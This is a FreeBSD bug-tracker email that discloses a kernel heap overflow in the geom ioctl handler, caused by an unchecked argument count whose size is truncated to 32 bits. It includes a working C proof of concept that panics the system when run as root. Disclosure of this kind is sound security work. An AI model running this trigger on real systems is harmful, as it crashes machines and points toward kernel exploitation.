From owner-freebsd-bugs@freebsd.org Wed Apr 27 22:41:05 2016 Return-Path: Delivered-To: freebsd-bugs@mailman.ysv.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) by mailman.ysv.freebsd.org (Postfix) with ESMTP id EDFC8B1F630 for ; Wed, 27 Apr 2016 22:41:05 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2001:1900:2254:206a::16:76]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id C62F617B9 for ; Wed, 27 Apr 2016 22:41:05 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from bugs.freebsd.org ([127.0.1.118]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id u3RMf54a090934 for ; Wed, 27 Apr 2016 22:41:05 GMT (envelope-from bugzilla-noreply@freebsd.org) From: bugzilla-noreply@freebsd.org To: freebsd-bugs@FreeBSD.org Subject: [Bug 209113] Heap overflow in geom ioctl handler Date: Wed, 27 Apr 2016 22:41:05 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: new X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: kern X-Bugzilla-Version: 11.0-CURRENT X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Only Me X-Bugzilla-Who: cturt@hardenedbsd.org X-Bugzilla-Status: New X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: freebsd-bugs@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: bug_id short_desc product version rep_platform op_sys bug_status bug_severity priority component assigned_to reporter Message-ID: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated MIME-Version: 1.0 X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.21 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Apr 2016 22:41:06 -0000 https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D209113 Bug ID: 209113 Summary: Heap overflow in geom ioctl handler Product: Base System Version: 11.0-CURRENT Hardware: Any OS: Any Status: New Severity: Affects Only Me Priority: --- Component: kern Assignee: freebsd-bugs@FreeBSD.org Reporter: cturt@hardenedbsd.org There is a heap overflow in the `ioctl` handler for `geom`, which is non-critical since it is only triggerable as `root`. Essentially, there are no checks on the user supplied `req.narg` value. The code uses this value to calculate a size by multiplying by `sizeof(struct gctl_req_arg)`, and then calls `g_malloc` and `copyin`. `g_malloc` treats its `size` parameter as an `int`: static __inline void *g_malloc(int size, int flags) So this size will be truncated to 32 bit, however the `copyin` call will use the full 64 bit size. PoC to trigger the bug, resulting in panic (must be run as `root`): #include #include #include #include #include #include #include int main(void) { int result; struct gctl_req req; int g; g =3D open("/dev/geom.ctl", O_RDONLY); if(g =3D=3D -1) { printf(" [-] Couldn't open geom.ctl!\n"); return 1; } req.error =3D malloc(0x100); req.lerror =3D 2; req.version =3D GCTL_VERSION; req.narg =3D 0x5555556; req.arg =3D malloc(0x4000); memset(req.arg, 'a', 0x4000); result =3D ioctl(g, GEOM_CTL, &req); printf("%d %d\n", result, errno); free(req.arg); return 0; } --=20 You are receiving this mail because: You are the assignee for the bug.=